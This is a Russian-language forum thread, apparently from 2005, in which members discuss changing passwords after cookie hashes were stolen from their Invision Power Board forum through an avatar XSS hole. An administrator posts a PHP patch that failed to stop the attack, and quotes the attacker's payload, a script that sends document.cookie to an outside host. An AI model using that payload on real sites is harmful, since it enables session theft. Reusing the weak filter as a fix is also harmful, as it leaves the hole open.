Смена паролей (официальное объявление)

[t.t]

что будет если в хэш еще включать ip?

↑

Если включать -- наверное хорошо будет. Но в том хеше, который уже упёрли (точнее: могли упереть) его, как я понимаю, нет.

[Nick S. Grechukh]

что будет если в хэш еще включать ip?

↑

Если включать -- наверное хорошо будет. Но в том хеше, который уже упёрли (точнее: могли упереть) его, как я понимаю, нет.

↑

ну понятно. если *сейчас* сменить формат , то те хэши не помогут.
тогда пострадают только те у кого короткие пароли, причем одинаковые на всех сайтах.

[valeri_ufo]

что будет если в хэш еще включать ip?

↑

Если включать -- наверное хорошо будет. Но в том хеше, который уже упёрли (точнее: могли упереть) его, как я понимаю, нет.

↑

ну понятно. если *сейчас* сменить формат , то те хэши не помогут.
тогда пострадают только те у кого короткие пароли, причем одинаковые на всех сайтах.

↑

пострадают те кто их не сменил.

[Xenon]

Хм. Давайте кто-нибудь попробует ЭТИМ методом сломать форум и посмотреть, получится ли ? Если получится, то точно нужно что-то делать, если нет, то нафиг заморачиваться ?

[Nick S. Grechukh]

пострадают те кто их не сменил.

хэш УЖЕ украден, и теоретически по нему можно подобрать пароль.
теперь любителям single sign-on [ ] надо менять пароли везед, не только на linuxforum.

[bogus]

что будет если в хэш еще включать ip?

Повторюсь: насколько я вижу, IPB и так использует не в чистом виде пароль при получении хэша. Во всяком случае, кука по форме похожа на md5 от чего-то, а md5(<мой пароль>) не совпадает со значением из куки.

Надо бы посмотреть в исходниках...

[zenwolf]

пострадают те кто их не сменил.

хэш УЖЕ украден, и теоретически по нему можно подобрать пароль.
теперь любителям single sign-on [ ] надо менять пароли везед, не только на linuxforum.

↑

даже не теоретически ,а очень даже практически ,уже было такое на bsdportal ,
ОЧЕНЬ РЕКОМЕНДУЮ СМЕНИТЬ ПАРОЛИ .

[Sonic]

а как IPB формирует этот хэш? Что-то мне подсказывает, что он использует не чистый пароль, а с какой-то секретной добавкой...

↑

Естественно, только как не знаю. А меня пароль это не обезательно. Но если легче станет, то меняйте.

Ещё, я вроде ставил заплатку на загрузку аватарки. Регулярное выражение прописывали, но что-то видать не срослось

[alv]

ОЧЕНЬ РЕКОМЕНДУЮ СМЕНИТЬ ПАРОЛИ .

↑

Что не вредно и вообще - память потренировать, лучшее лекарство от раннего эклера

[Sonic]

Вот было:

Код: Выделить всё

//-----------------------------------------
// Check to make sure we don't just have
// http:// in the URL box..
//-----------------------------------------

if ( preg_match( "/^http://$/i", $ibforums->input['url_avatar'] ) )
{
$ibforums->input['url_avatar'] = "";
}

if ( empty($ibforums->input['url_avatar']) )

стало

Код: Выделить всё

//-----------------------------------------
// Check to make sure we don't just have
// http:// in the URL box..
//-----------------------------------------

if ( preg_match( "/^http://$/i", $ibforums->input['url_avatar'] ) )
{
$ibforums->input['url_avatar'] = "";
}

if ( preg_match( "#javascript:#is", $ibforums->input['url_avatar'] ) )
{
$ibforums->input['url_avatar'] = "";
}

if ( empty($ibforums->input['url_avatar']) )

Вот эта строка if ( preg_match( "#java script:#is", $ibforums->input['url_avatar'] ) ) должна выбивать скрипт, но чё-то не сработало

Sonic добавил в 31.05.2005 19:36

Содержимое Jpeg эксплойта:
"<script>img = new Image();
img.src = "http://flood3r.com/hack/sn_1/me.jpg?"+document.cookie;</script>"

↑

И как он его влепил?

[boot]

Сменил.

Я прививок не боюсь, если надо - уколюсь

[Lindemidux]

Месяц назад я качал с Flood3r.com видео: захват форума через автару.
Там его можно скачать.

Lindemidux добавил в 01.06.2005 08:53

Для ВСЕХ:
Зря Ахтунг подняли, Flood3r.com в послеаварийном состоянии. Там не работает сниффер

[snake]

Месяц назад я качал с Flood3r.com видео: захват форума через автару.
Там его можно скачать.

Lindemidux добавил в 01.06.2005 08:53

Для ВСЕХ:
Зря Ахтунг подняли, Flood3r.com в послеаварийном состоянии. Там не работает сниффер

↑

Лучше перестраховаться, чем питаться потом собственными локтями.

[VN_MAClover]

Лучше перестраховаться, чем питаться потом собственными локтями.

↑

Поддерживаю. Хотя в данном случае ничего сверхсекретного нет по определению, профилактика рулит, а, главное, вырабатывается правильный рефлекс поведения в данной ситуации.

[FreeNUX]

Сменил, мне не трудно .